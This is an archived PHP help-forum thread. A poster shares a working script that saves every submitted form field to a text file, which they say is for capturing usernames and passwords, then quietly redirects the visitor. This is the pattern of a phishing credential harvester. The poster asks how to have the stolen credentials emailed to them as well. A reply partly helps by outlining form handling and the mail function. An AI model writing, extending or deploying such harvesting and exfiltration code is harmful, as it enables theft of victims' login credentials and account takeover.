Jump to content

Script to Send Emails, Troubleing me!


CStott

Recommended Posts

Right at the moment im using this script to get usernames and passwords and save them into usernames.txt

 

<?php
header ('Location: redirect.html');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

 

But instead of me always having to check usernames.txt i want them to be emailed to me aswell as being saved in usernames.txt (because i know mail can mess up sometimes)

 

But i dont have the foggyest of where to start

 

 

Any help would be appriciated!

Link to comment
https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/
Share on other sites

I am not going to give you the complete code. You can get it done. I just try to initiate the process.

Suppose you get username and password using a form, in that case your initial code will be like this:

<?php

 

if (isset($_POST['submit']))

{

$username = $_POST['user'];

$passwaord = $_POST['pass'];

 

//now you store this value in text file

//as well as use mail function

 

}

 

 

?>

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.